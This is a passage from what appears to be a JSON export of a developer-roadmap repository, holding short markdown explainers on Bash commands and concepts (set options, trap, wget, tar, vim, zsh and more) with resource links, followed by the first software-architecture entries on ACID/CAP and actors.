    "content": "# set -o\n\nThe `set -o` command in shell scripting is used to modify shell options, which control the behavior of the shell. These options can affect how the shell interprets commands, handles errors, and performs other tasks. By using `set -o` with specific option names, you can customize the shell's environment to suit your needs, enabling features like error handling, debugging, and more strict command execution.\n\nVisit the following resources to learn more:\n\n- [@article@Prevent Unset Variables in Your Shell / Bash Scripts with set nounset](https://nickjanetakis.com/blog/prevent-unset-variables-in-your-shell-bash-scripts-with-set-nounset)\n- [@article@set -e, -u, -o, -x pipefail explanation](https://gist.github.com/mohanpedala/1e2ff5661761d3abd0385e8223e16425)\n- [@video@Prevent Unset Variables in Your Shell / Bash Scripts with set -o nounset](https://www.youtube.com/watch?v=Kly_6DhfHwE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/set--u@HrzalKXWVmqD-8SfdQJVu.md",
    "content": "# set -u\n\nThe `set -u` command in shell scripting treats unset variables as an error. When this option is enabled, the script will exit immediately if it tries to use a variable that has not been assigned a value. This helps to catch potential bugs caused by typos or missing variable assignments, making scripts more robust.\n\nVisit the following resources to learn more:\n\n- [@article@set -e, -u, -o, -x pipefail explanation](https://gist.github.com/mohanpedala/1e2ff5661761d3abd0385e8223e16425)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/set--x@8Q1FCxKYYl-HnMGkwdK6h.md",
    "content": "# set -x\n\n`set -x` is a debugging tool used in shell scripts to trace the execution of commands. When enabled, the shell will print each command to standard error (stderr) before it is executed, preceded by a `+` symbol. This allows you to see exactly what commands are being run and in what order, making it easier to identify errors or unexpected behavior in your scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Mastering Selective Debugging in Bash/Shell Scripts with set -x and set +x](https://medium.com/@maheshwar.ramkrushna/mastering-selective-debugging-in-bash-shell-scripts-with-set-x-and-set-x-ef6b7e83fb37)\n- [@article@Difference between bash -x and set -x](https://how.dev/answers/bash--x-and-set--x)\n- [@article@Using set -x and set -e in Shell Scripting: A Guide for Enhanced Debugging and Error Handling](https://www.hackerone.com/blog/using-set-x-and-set-e-shell-scripting-guide-enhanced-debugging-and-error-handling)\n- [@video@How to Debug Bash - Using bash -x or set -x in bash - You Suck at Programming #044](https://www.youtube.com/watch?v=4TAx3Z9OgPs)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/setting-up-bash@6SR4c75dEKoFxZ88sDtfi.md",
    "content": "# Setting Up Bash\n\nSetting up Bash involves configuring your shell environment to suit your preferences and workflow. This includes customizing the appearance of your command prompt, defining aliases for frequently used commands, setting environment variables to control program behavior, and creating custom functions to automate tasks. Properly setting up Bash can significantly improve your productivity and make working with the command line more efficient.\n\nVisit the following resources to learn more:\n\n- [@article@Setting up the Bash Environment](https://letsdefend.io/blog/how-to-install-bash-on-windows)\n- [@article@How to configure or customize Bash: My first steps for my setup](https://www.youtube.com/watch?v=wy1q5egFW6I)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/shellcheck@r_G62Mx-S8wBcxduFbPMh.md",
    "content": "# Shellcheck\n\nShellcheck is a static analysis tool for shell scripts. It helps identify and fix common syntax errors, semantic issues, and stylistic problems in your Bash/Shell scripts before you even run them. By analyzing your code, shellcheck can suggest improvements and help prevent potential bugs, resulting in more robust and maintainable scripts.\n\nVisit the following resources to learn more:\n\n- [@official@Shellcheck](https://www.shellcheck.net/)\n- [@opensource@Shellcheck](https://github.com/koalaman/shellcheck)\n- [@article@ShellCheck: Script Analysis Tool for Shell Scripts](https://trunk.io/linters/shell/shellcheck)\n- [@video@Fix Your Shell Scripts With Shellcheck](https://www.youtube.com/watch?v=X3BIc9EHBuk)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/shift@u_kpVb3V8Xp-0fex_5-yG.md",
    "content": "# Shift\n\nThe `shift` command in shell scripting renames the command-line arguments. Specifically, it moves each argument one position to the left. The value of `$2` becomes `$1`, the value of `$3` becomes `$2`, and so on. The original value of `$1` is lost. This is particularly useful when you need to process a variable number of arguments passed to a script.\n\nVisit the following resources to learn more:\n\n- [@article@Bash shift Command](https://linuxopsys.com/bash-shift-command)\n- [@video@BASH Shifting Argument Variables Linux Shell Tutorial](https://www.youtube.com/watch?v=fJSUVGlQ1E8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/sort@P9pwqBvPDhcvVIj8fNhGX.md",
    "content": "# Sort\n\n`sort` is a command-line utility that arranges lines of text in a specific order. It can sort alphabetically, numerically, by month, or even based on custom criteria. By default, `sort` treats each line as a string and sorts them in ascending ASCII order, but its behavior can be modified using various options to handle different data types and sorting preferences.\n\nVisit the following resources to learn more:\n\n- [@article@Bash sort Command - Sort Lines of Text Files](https://www.w3schools.com/bash/bash_sort.php)\n- [@video@Bash sort Command - Sort Lines of Text Files](https://www.youtube.com/watch?v=2B16aYGzIEQ)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/special-variables@_BzADQXji4lVY620U4cZa.md",
    "content": "# Special Variables\n\nSpecial variables in shell scripting are predefined variables that automatically hold specific values related to the shell's operation or the script's execution environment. These variables provide access to information like the script's name, the number of arguments passed to it, the exit status of the last command, and process IDs. They are read-only in most cases, meaning you can't directly modify their values, but you can use them to make decisions and control the flow of your scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Special variables](https://www.tutorialspoint.com/unix/unix-special-variables.htm)\n- [@article@Special Variable Types](https://tldp.org/LDP/abs/html/othertypesv.html)\n- [@video@Special Variables | Shell Scripting Tutorial For Beginners](https://www.youtube.com/watch?v=PfxzX4XNYRE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ssh@eVbx1WsfeHcVaFs-vXpwF.md",
    "content": "# SSH\n\nSSH (Secure Shell) is a cryptographic network protocol that enables secure communication between two computers over an insecure network. It's commonly used for remote command-line access, remote execution of commands, and secure file transfer. SSH encrypts the data transmitted between the client and the server, protecting it from eavesdropping and tampering.\n\nVisit the following resources to learn more:\n\n- [@article@SSH Essentials: Working with SSH Servers, Clients, and Keys](https://www.digitalocean.com/community/tutorials/ssh-essentials-working-with-ssh-servers-clients-and-keys)\n- [@article@A beginner’s guide to SSH for remote connection on Linux](https://opensource.com/article/20/9/ssh)\n- [@video@SSH for Beginners: The Ultimate Getting Started Guide](https://www.youtube.com/watch?v=YS5Zh7KExvE)\n- [@video@Learn SSH In 6 Minutes - Beginners Guide to SSH Tutorial](https://www.youtube.com/watch?v=v45p_kJV9i4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/stdin-stdout-stderr@3VulHH-Y-VdMRM6VBVWar.md",
    "content": "# stdin, stdout, and stderr\n\nIn computing, standard streams are preconnected input and output communication channels between a computer program and its environment. Specifically, _stdin_ (standard input) is the channel through which a program receives input, typically from the keyboard or another program. _stdout_ (standard output) is the channel through which a program writes its normal output, usually displayed on the screen. _stderr_ (standard error) is the channel through which a program writes error messages and diagnostic information, also typically displayed on the screen, but kept separate from _stdout_ to allow for easier handling of errors.\n\nVisit the following resources to learn more:\n\n- [@article@Standard Streams - Wikipedia](https://en.wikipedia.org/wiki/Standard_streams)\n- [@article@stdin, stdout, stderr](https://www.learnlinux.org.za/courses/build/shell-scripting/ch01s04)\n- [@video@Linux Crash Course - Data Streams (stdin, stdout & stderr)](https://www.youtube.com/watch?v=zMKacHGuIHI)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/stop-execution@Ydqpp_YYujdHyYraNEt4h.md",
    "content": "# Stop Execution\n\nStopping execution in a shell script refers to halting the script's progress, often due to an error, a specific condition being met, or a user's request. This can be achieved through various commands and techniques that control the flow of the script, ensuring that it doesn't continue running when it shouldn't. Properly stopping execution is crucial for preventing unintended consequences and maintaining the integrity of the system.\n\nVisit the following resources to learn more:\n\n- [@article@Bash kill Command - Terminate Processes](https://www.w3schools.com/bash/bash_kill.php)\n- [@article@How to exit from Bash script](https://linuxconfig.org/how-to-exit-from-bash-script)\n- [@video@Killing Processes Linux Shell Tutorial](https://www.youtube.com/watch?v=03umJo33aQg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/string-length@sBI1aCY7XmXBwqTrokt9F.md",
    "content": "# String Length\n\nDetermining the length of a string is a common task in scripting. It involves finding the number of characters present in a given string, which can be useful for validation, formatting, or other string processing operations. In shell scripting, there are several ways to achieve this, each with its own syntax and potential use cases.\n\nVisit the following resources to learn more:\n\n- [@article@How to Find Length of String in Bash [Quick Tip]](https://linuxhandbook.com/bash-string-length/)\n- [@article@Bash String Manipulation Examples – Length, Substring, Find and Replace](https://www.thegeekstuff.com/2010/07/bash-string-manipulation/)\n- [@video@Counting Characters in a Bash String - Quick Tip](https://www.youtube.com/watch?v=mK7hutk2yCE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/string-manipulation@PS9R8AX-_dgeqYL2Y67Ff.md",
    "content": "# String Manipulation\n\nString manipulation involves modifying or extracting parts of text data. This can include tasks like finding specific characters, replacing substrings, changing the case of letters, or extracting portions of a string based on delimiters or patterns. These operations are fundamental for processing and transforming textual information.\n\nVisit the following resources to learn more:\n\n- [@article@Manipulating Strings](https://tldp.org/LDP/abs/html/string-manipulation.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/string-operators@ryZ2MI4blZCwfuNC_TeUe.md",
    "content": "# String Operators\n\nString operators in Bash are symbols or keywords used to perform operations on strings, such as checking if a string is empty, comparing strings, extracting substrings, or determining the length of a string. These operators are essential for manipulating and evaluating string values within shell scripts, enabling conditional logic and data processing based on string content.\n\nVisit the following resources to learn more:\n\n- [@article@Bash String Comparison: The Comprehensive Guide](https://www.namehero.com/blog/bash-string-comparison-the-comprehensive-guide/)\n- [@article@String Operators](https://www.oreilly.com/library/view/learning-the-bash/1565923472/ch04s03.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/strings@Sz2F519WqEhkKZE0NBveH.md",
    "content": "# Strings in Bash\n\nIn Bash, strings are sequences of characters. They can be enclosed in single quotes (`'...'`) or double quotes (`\"...\"`). Single quotes treat everything literally, meaning no variable substitution or command execution happens within them. Double quotes, on the other hand, allow for variable expansion and command substitution. Suppose you want to include a literal single quote within a single-quoted string. In that case, you'll need to escape it (usually by closing the single-quoted string, adding an escaped single quote, and then reopening the single-quoted string).\n\nVisit the following resources to learn more:\n\n- [@article@Bash Data Types](https://www.w3schools.com/bash/bash_data_types.php)\n- [@article@Bash Scripting - String](https://www.geeksforgeeks.org/linux-unix/bash-scripting-string/)\n- [@article@Manipulating Strings](https://tldp.org/LDP/abs/html/string-manipulation.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/substring-extraction@6TonvFzr_nmoFsATwuZK7.md",
    "content": "# Substring Extraction\n\nSubstring extraction involves selecting a portion of a string based on its position within the string. This is done by specifying the starting point and the length of the desired substring. It allows you to isolate and work with specific parts of a larger text string.\n\nVisit the following resources to learn more:\n\n- [@article@Extracting a Substring in Bash](https://www.baeldung.com/linux/bash-substring)\n- [@article@How to Extract Bash Substring](https://kodekloud.com/blog/bash-substring/)\n- [@video@Creating substrings in Bash - Basic String Manipulation - You Suck at Programming #045](https://www.youtube.com/watch?v=KPVm06L55gc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/success-vs-failure@wKMq5G8cmqo3JnHG4Z-c1.md",
    "content": "# Exit Codes: Success vs. Failure\n\nExit codes are numerical values returned by a program or script upon completion, signaling whether it executed successfully or encountered an error. A zero (0) exit code typically indicates success, while any non-zero value signifies failure, with different non-zero codes often representing specific types of errors. These codes are crucial for scripting and automation, allowing scripts to make decisions based on the outcome of previous commands."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/systemd-timers@ResodrV_p7zK1dJbqT0us.md",
    "content": "# Systemd Timers\n\nSystemd timers are a systemd feature that allows you to schedule tasks to run at specific times or intervals, similar to cron. They provide a more flexible and powerful alternative to cron, offering features like dependency management, event-based activation, and integration with systemd's logging and service management capabilities. Systemd timers are defined using unit files, just like systemd services, and can be used to automate a wide range of system administration tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Working with systemd timers](https://yieldcode.blog/post/working-with-systemd-timers/)\n- [@article@Systemd timers — The alternative to cron jobs](https://medium.com/@tolulinux/systemd-timers-the-alternative-to-cron-jobs-be479172ae12)\n- [@video@Automate Your Tasks with systemd Timers: A Step-by-Step Guide](https://www.youtube.com/watch?v=n6BuUgkZ5T0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/tab-completion@HESaq3OyuouEqjpZITYUd.md",
    "content": "# Tab Completion\n\nTab completion is a feature in command-line interfaces that automatically completes commands, filenames, or other input based on what you've already typed. By pressing the Tab key, the shell attempts to fill in the rest of the word you're typing, saving you time and reducing errors. If multiple possibilities exist, pressing Tab twice usually displays a list of options.\n\nVisit the following resources to learn more:\n\n- [@article@https://www.gnu.org/software/gnuastro/manual/html_node/Bash-TAB-completion-tutorial.html](https://www.gnu.org/software/gnuastro/manual/html_node/Bash-TAB-completion-tutorial.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/tar@ESjj2b8Hk0Irj4E2Gmj6w.md",
    "content": "# tar\n\n`tar` (Tape Archive) is a command-line utility in Unix-like operating systems used for archiving and extracting files. It combines multiple files into a single archive file, often referred to as a \"tarball.\" While `tar` itself doesn't compress the archive, it's commonly used in conjunction with compression tools like gzip or bzip2 to create compressed archives (e.g., `.tar.gz` or `.tar.bz2` files), reducing file size for storage or distribution.\n\nVisit the following resources to learn more:\n\n- [@article@Bash tar Command - An archiving utility](https://www.w3schools.com/bash/bash_tar.php)\n- [@article@How to use the tar command in Linux](https://www.hostinger.com/tutorials/linux-tar-command-with-examples)\n- [@article@Linux tar Command with Practical Examples](https://labex.io/es/tutorials/linux-linux-tar-command-with-practical-examples-422951)\n- [@video@How to Archive Folders in Linux (tar and gzip tutorial) - Linux Crash Course Series](https://www.youtube.com/watch?v=2iwumBcfd58)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/tcsh@SHD2pc0D5QjDpEwzsFWz-.md",
    "content": "# tcsh\n\ntcsh is an enhanced version of the C shell (csh), a Unix shell program. It's designed as an interactive login shell and a shell script command processor. tcsh provides features like command-line editing, filename completion, and a history mechanism, making it more user-friendly than its predecessor.\n\nVisit the following resources to learn more:\n\n- [@official@tcsh](https://www.tcsh.org/)\n- [@article@tcsh - Wikipedia](https://en.wikipedia.org/wiki/Tcsh)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/text-editors@it421LC-vLFNmTcWxrsX6.md",
    "content": "# Text Editors\n\nText editors are software programs that allow users to create, open, view, and modify plain text files. They are fundamental tools for writing code, scripts, configuration files, and general text-based documents. Unlike word processors, text editors focus on the raw text content without applying rich formatting or styles."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/top-htop@M2afRR6yY8iq85_MnfGKV.md",
    "content": "# top and htop\n\n`top` and `htop` are command-line utilities used for real-time system monitoring. They display a dynamic, ordered list of processes running on a system, along with information about CPU usage, memory consumption, and other system resources. `htop` is an enhanced, interactive version of `top`, offering features like color-coding, improved process management, and horizontal scrolling.\n\nVisit the following resources to learn more:\n\n- [@article@Bash top Command - Display Linux Tasks](https://www.w3schools.com/bash/bash_top.php)\n- [@article@How to use top and htop Linux command for Process Management](https://www.layerstack.com/resources/tutorials/How-to-use-top-and-htop-Linux-command-for-Process-Management)\n- [@video@Understanding Linux System Performance | The Top Command](https://www.youtube.com/watch?v=3r_PBLaZoFQ)\n- [@video@The htop Command | Linux Essentials Tutorial](https://www.youtube.com/watch?v=bKWZJ3_5ODc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/touch@fssn0pz6ooqG-EE8rZl-L.md",
    "content": "# touch\n\nThe `touch` command is a fundamental utility used to update the access and modification times of files and directories. If a file doesn't exist, `touch` creates an empty file with the specified name. It's commonly used to create new, empty files or to quickly update the timestamps of existing files without modifying their content.\n\nVisit the following resources to learn more:\n\n- [@article@Bash touch Command - Change File Timestamps](https://www.w3schools.com/bash/bash_touch.php)\n- [@video@Touch Command Made Easy (Linux Crash Course)](https://www.youtube.com/watch?v=bP0dwXU8B64)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/tr@YJblaz_GKC5sH7ntFe5ls.md",
    "content": "# tr Command\n\nThe `tr` command in Unix-like operating systems is a command-line utility that translates or deletes characters. It reads standard input, performs the specified transformations, and writes the result to standard output. `tr` is often used for tasks like converting uppercase to lowercase, deleting specific characters, or replacing one set of characters with another.\n\nVisit the following resources to learn more:\n\n- [@article@Linux tr Command with Examples](https://phoenixnap.com/kb/linux-tr)\n- [@video@Linux Crash Course - The tr Command](https://www.youtube.com/watch?v=4qP5xA_epXo)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/trap@c0F44DSG7eVcqwaOfk2Z-.md",
    "content": "# Trap\n\n`trap` is a shell command used to specify actions to be taken upon receiving signals. Signals are notifications sent to a process to indicate an event, such as termination, interruption, or an error. The `trap` command allows you to define custom handlers that execute when a specific signal is received, enabling you to gracefully handle errors, clean up resources, or perform other necessary actions before the script exits or continues.\n\nVisit the following resources to learn more:\n\n- [@article@Bash trap Command Explained](https://phoenixnap.com/kb/bash-trap-command)\n- [@article@The Bash Trap Command](https://www.linuxjournal.com/content/bash-trap-command)\n- [@video@Trapping signals with trap in Bash! Responding to Unix signals. You Suck at Programming #064](https://www.youtube.com/watch?v=aXovP1sUtoE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/uniq@4pygQshD_WdP0i6xq3Kc8.md",
    "content": "# uniq\n\n`uniq` is a command-line utility that filters adjacent matching lines from an input file (or standard input) and writes a single copy of the matching line to the output. It's primarily used to remove duplicate lines, but it requires that the duplicates be next to each other to be effective. Options allow you to count the number of occurrences of each line, display unique lines, or display only duplicate lines.\n\nVisit the following resources to learn more:\n\n- [@article@How to use the uniq command to process lists in Linux](https://www.redhat.com/en/blog/uniq-command-lists)\n- [@video@Uniq utility (commands for linux)](https://www.youtube.com/watch?v=VRrd9ErU13w)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/until@51xww3YG_O8O7y8CUum83.md",
    "content": "# Until Loops\n\nAn `until` loop in shell scripting repeatedly executes a block of code as long as a specified condition is false. The loop continues to iterate until the condition becomes true, at which point the loop terminates. It's essentially the opposite of a `while` loop, providing a way to execute commands until a desired state is reached.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Until Loop](https://linuxize.com/post/bash-until-loop/)\n- [@video@Bash until Loop](https://www.youtube.com/watch?v=8x2EfVSGwQc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/uptime@R57tdCBI0rLmzWEuJeBTW.md",
    "content": "# Uptime\n\nUptime is a command-line utility that displays how long the system has been running. It provides a concise summary of the current time, how long the system has been up, the number of users currently logged in, and the system's load average over the past 1, 5, and 15 minutes. This information is useful for quickly assessing the system's stability and resource utilization.\n\nVisit the following resources to learn more:\n\n- [@article@Bash uptime Command - System Runtime](https://www.w3schools.com/bash/bash_uptime.php)\n- [@article@Uptime Command in Linux](https://linuxize.com/post/linux-uptime-command/)\n- [@video@Uptime command in Linux with Examples - How to Check Uptime in Linux Command Line](https://www.youtube.com/watch?v=slf7GAuzIQ4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/variable-scopes@ivcDgpa1kMPxcOt1OCjba.md",
    "content": "# Variable Scopes\n\nVariable scope determines the region of a program where a declared variable can be accessed. It defines the visibility and lifetime of a variable. Understanding variable scope is crucial for writing clean, maintainable, and bug-free shell scripts, as it helps prevent naming conflicts and ensures that variables are used in the intended context.\n\nVisit the following resources to learn more:\n\n- [@article@Bash shell basics — scoping](https://paulguerin.medium.com/bash-shell-basics-scoping-d59c8e1468b4)\n- [@article@How to Work with Shell Variables and Functions](https://labex.io/fr/tutorials/shell-how-to-work-with-shell-variables-and-functions-392774)\n- [@video@Bash Shell Scripting For Beginners - Local and Global Variables](https://www.youtube.com/watch?v=4GR0wum_pOQ)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/variables-best-practices@9-PPCJDdGh5SWKT4jT6Zs.md",
    "content": "# Variables Best Practices\n\nUsing variables effectively in shell scripts involves following certain guidelines to improve readability, maintainability, and prevent errors. This includes choosing descriptive names, initializing variables before use, using appropriate scoping, and quoting variables to avoid unexpected behavior due to word splitting and globbing. Adhering to these practices leads to more robust and understandable shell scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Naming Conventions for Shell Variables](https://www.baeldung.com/linux/shell-variable-naming-conventions)\n- [@article@Shell Script Best Practices](https://sharats.me/posts/shell-script-best-practices/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/vi@QZXUYcr1vvbvxRmPSsK53.md",
    "content": "# Vi\n\nVi is a powerful text editor that's been a standard part of Unix-like systems for decades. It operates in different modes, primarily command mode for issuing instructions and insert mode for typing text. Vi is known for its efficiency and keyboard-centric approach, allowing users to perform complex editing tasks without relying heavily on a mouse.\n\nVisit the following resources to learn more:\n\n- [@article@An introduction to the vi editor](https://www.redhat.com/en/blog/introduction-vi-editor)\n- [@video@Basics of VI editor in under 8 minutes | Vi editor Tutorial](https://www.youtube.com/watch?v=-_DvfdgR-LA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/vim@jPAHVLBC87n4TIyiAZJue.md",
    "content": "# Vim\n\nVim is a highly configurable text editor built to enable efficient text editing. It's an improved version of the vi editor distributed with most UNIX systems. Vim is known for its modal editing, allowing users to switch between different modes for inserting, deleting, and navigating text, making it a powerful tool for developers and system administrators.\n\nVisit the following resources to learn more:\n\n- [@official@Vim](https://www.vim.org/)\n- [@article@Getting started with Vim: The basics](https://opensource.com/article/19/3/getting-started-vim)\n- [@video@Vim As Your Editor - Introduction](https://www.youtube.com/watch?v=X6AR2RMB5tE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/wc@mg5f-DAezgwmwflmncSsO.md",
    "content": "# wc\n\n`wc` is a command-line utility that displays the number of lines, words, and bytes (or characters) in a file. It's a simple yet powerful tool for quickly getting a summary of the size and content of text files. You can use it to count the number of lines in a log file, the number of words in a document, or the size of a configuration file.\n\nVisit the following resources to learn more:\n\n- [@article@Wc Command - Count Number of Lines, Words, and Characters](https://www.tecmint.com/wc-command-examples/)\n- [@video@wc Command in Linux [Practical Examples] -](https://www.youtube.com/watch?v=H8vq9QrZJo8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/wget@F5w3pYH5Z58NAJ81p5q8n.md",
    "content": "# wget\n\n`wget` is a command-line utility used to retrieve files from the internet. It supports downloading files using HTTP, HTTPS, and FTP protocols. `wget` is non-interactive, meaning it can work in the background without user intervention, making it suitable for scripting and automation.\n\nVisit the following resources to learn more:\n\n- [@article@GNU Wget](https://www.gnu.org/software/wget/)\n- [@article@What is the wget command and how to use it (12 examples included)](https://www.hostinger.com/tutorials/wget-command-examples)\n- [@video@The wget Command | How to Download Files From a Server](https://www.youtube.com/watch?v=zszbBJ81_YU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/what-is-a-shell@YD3FMyy1Wma0gXc8G612A.md",
    "content": "# What is a shell?"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/what-is-bash@GdSViKr5r3uHxzihSjdYV.md",
    "content": "# What is Bash?\n\nBash, short for Bourne Again Shell, is a command-line interpreter and a shell scripting language. It's essentially a program that allows users to interact with the operating system by typing commands. Bash interprets these commands and instructs the operating system to perform specific actions, such as running programs, manipulating files, and managing system resources. It also provides features for automating tasks through scripts.\n\nVisit the following resources to learn more:\n\n- [@book@Bash Guide for Beginners](https://tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf)\n- [@official@Bash Docs](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html)\n- [@article@What is Bash?](https://opensource.com/resources/what-bash)\n- [@article@What Is Bash Used For?](https://www.codecademy.com/resources/blog/what-is-bash-used-for)\n- [@article@Bash Tutorial](https://www.w3schools.com/bash/)\n- [@video@Bash Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=tK9Oc6AEnR4)\n- [@video@Beginner's Guide to the Bash Terminal](https://www.youtube.com/watch?v=oxuRxtrO2Ag)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/what-is-scripting@LloORF-pz-sbfuzNj1WjG.md",
    "content": "# What is Scripting?\n\nScripting is the process of writing a series of commands that are executed in a specific order by a program or scripting engine. These commands, often written in a simple, human-readable language, automate tasks, control software applications, or interact with operating systems. Instead of manually entering commands one by one, a script allows you to run a sequence of instructions with a single command.\n\nVisit the following resources to learn more:\n\n- [@article@Scripting language - Wikipedia](https://en.wikipedia.org/wiki/Scripting_language)\n- [@article@What is scripting?](https://coralogix.com/blog/what-is-scripting/)\n- [@article@What's the difference between Programming and Scripting?](https://www.youtube.com/watch?v=7-0iBZxNq74)\n- [@article@Bash Scripting Tutorial – Linux Shell Script and Command Line for Beginners](https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/)\n- [@video@Bash Scripting on Linux](https://www.youtube.com/playlist?list=PLT98CRl2KxKGj-VKtApD8-zCqSaN2mD4w)\n- [@video@Scripting Languages](https://www.youtube.com/watch?v=yFWKYs_5DBg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/while@yX-SskrRyFAUFpyIYG7BU.md",
    "content": "# While Loops\n\nA `while` loop in shell scripting repeatedly executes a block of code as long as a specified condition remains true. It's a fundamental control flow statement that allows you to automate repetitive tasks based on a dynamic condition that can change during the loop's execution. The loop continues iterating until the condition becomes false.\n\nVisit the following resources to learn more:\n\n- [@article@Bash While Loop Examples](https://www.cyberciti.biz/faq/bash-while-loop/)\n- [@article@Bash Loops](https://www.w3schools.com/bash/bash_loops.php)\n- [@video@How To Write Bash Scripts In Linux - Complete Guide (Part 7 - While Loops)](https://www.youtube.com/watch?v=R0tTsdQ_9Vw)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/yum@_p6LP0uvp9QpBISr1t4KX.md",
    "content": "# yum\n\nyum (Yellowdog Updater, Modified) is a command-line package management tool for systems using the RPM Package Manager. It automates the process of installing, updating, removing, and searching for software packages and their dependencies from configured repositories. yum simplifies software management by resolving dependencies automatically, ensuring that all required components are installed for a program to function correctly.\n\nVisit the following resources to learn more:\n\n- [@article@How to install Yum on Linux](https://linuxconfig.org/how-to-install-yum-on-linux)\n- [@article@Linux package management with YUM and RPM](https://www.redhat.com/en/blog/how-manage-packages)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/zip-unzip@hOtzJ9tH4OcB2uI2T_si5.md",
    "content": "# zip and unzip\n\n`zip` and `unzip` are command-line utilities used for compressing and decompressing files and directories. `zip` packages files into a single archive, reducing their size and making them easier to share or store. `unzip` extracts the contents of a zip archive, restoring the original files and directories.\n\nVisit the following resources to learn more:\n\n- [@article@Bash zip Command - Package and compress (archive) files](https://www.w3schools.com/bash/bash_zip.php)\n- [@article@Bash unzip Command - Extract from ZIP archive](https://www.w3schools.com/bash/bash_unzip.php)\n- [@video@How to Unzip and Zip Files on Linux (Desktop and Command Line)](https://www.youtube.com/watch?v=xqcHiuQK9lY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/zsh@m-sOOaGyhQg3bgmWsXtOH.md",
    "content": "# zsh\n\nZsh, also known as the Z shell, is a Unix shell that can be used as an interactive login shell and as a shell script command interpreter. It's designed to be highly customizable and offers features like improved tab completion, shared command history across multiple terminal windows, and powerful theming options. Zsh is often considered an alternative to Bash, offering enhanced functionality and a more user-friendly experience for many users.\n\nVisit the following resources to learn more:\n\n- [@article@Z Shell - Wikipedia](https://en.wikipedia.org/wiki/Z_shell)\n- [@article@zsh - The Z shell](https://www.ibm.com/docs/en/zos/3.1.0?topic=descriptions-zsh-z-shell)\n- [@video@Zsh: The Developer's Dream Shell! Say Goodbye to Bash! 💻✨](https://www.youtube.com/watch?v=5F4T_iTeN08)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/shell-bash.md",
    "content": "---\nrenderer: editor\n---"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/acid-cap-theorem@bbKEEk7dvfFZBBJaIjm0j.md",
    "content": "# ACID & CAP Theorem\n\nACID (Atomicity, Consistency, Isolation, Durability) and CAP (Consistency, Availability, Partition Tolerance) are essential concepts in distributed systems. They are often used to explain the trade-offs between consistency and availability.\n\nCAP is an acronym for Consistency, Availability, and Partition Tolerance. According to the CAP theorem, any distributed system can only guarantee two of the three properties at any time. You can't guarantee all three properties at once.\n\nACID is an acronym that stands for Atomicity, Consistency, Isolation, Durability. ACID is a set of properties of database transactions intended to guarantee validity even in the event of errors, power failures, etc.\n\nVisit the following resources to learn more:\n\n- [@article@What is CAP Theorem?](https://www.bmc.com/blogs/cap-theorem/)\n- [@article@CAP Theorem - Wikipedia](https://en.wikipedia.org/wiki/CAP_theorem)\n- [@article@An Illustrated Proof of the CAP Theorem](https://mwhittaker.github.io/blog/an_illustrated_proof_of_the_cap_theorem/)\n- [@article@CAP Theorem and its applications in NoSQL Databases](https://www.ibm.com/uk-en/cloud/learn/cap-theorem)\n- [@article@ACID - Wikipedia](https://en.wikipedia.org/wiki/ACID)\n- [@video@What is CAP Theorem?](https://www.youtube.com/watch?v=_RbsFXWRZ10)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/actors@AoWO2BIKG5X4JWir6kh5r.md",
    "content": "# Actors\n\nActor Model is a model that represents actors as the basic unit of a system, they can only communicate through messages and have their own private state, and they can also manage other actors, resulting in an encapsulated and fault-tolerant system.\n\nVisit the following resources to learn more:\n\n- [@article@The actor model in 10 minutes](https://www.brianstorti.com/the-actor-model/)\n- [@video@Actor Model Explained](https://www.youtube.com/watch?v=ELwEdb_pD0k)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/apache-spark@a0baFv7hVWZGvS5VLh5ig.md",
